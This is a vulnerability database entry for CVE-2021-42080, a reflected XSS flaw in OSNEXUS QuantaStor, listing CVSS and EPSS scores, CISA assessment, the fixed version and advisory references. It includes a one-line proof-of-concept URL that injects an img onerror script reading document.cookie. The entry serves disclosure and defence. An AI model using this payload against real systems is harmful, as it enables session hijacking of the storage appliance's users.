CVE-2021-42080 json
Reflected XSS vulnerability in OSNEXUS QuantaStor before 6.0.0.355
published 2023-07-10 3 y ago modified 2026-06-17 4 mo ago also EUVD-2021-29066
- cvss
- 7.4
- version 3.1, CNA
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 0.7%
- EPSS 0.7% chance of exploitation in 30 days, percentile 53%
- public exploits
- 0
- none known
Summary
An attacker is able to launch a Reflected XSS attack using a crafted URL.
POC:
Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>
Patch / fix
- OSNEXUS QuantaStor 6.0.0.355
CISA SSVC
- Exploitation
- none
- Automatable
- no
- Technical impact
- partial
- Assessed
- 2 y ago
Exploit prediction
0.69% chance of exploitation in the next 30 days, higher than 53% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- csirt.divd.nl https://csirt.divd.nl/CVE-2021-42080 referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 3.1 | 7.4 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
| NVD | 3.1 | 7.4 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N |
Affected products
- OSNEXUS QuantaStor
Classification
- Weakness
-
- CWE-79 Improper Neutralization of Input During Web Page Generation
References
-
csirt.divd.nl
/CVE-2021-42080
third-party-advisory, technical-description, exploit
-
wbsec.nl
/osnexus
third-party-advisory, technical-description
-
csirt.divd.nl
/DIVD-2021-00020/
third-party-advisory
-
osnexus.com
/products/software-defined-storage
product
-
divd.nl
/DIVD-2021-00020
third-party-advisory
Sources
- CVE List CVE-2021-42080
- NVD CVE-2021-42080
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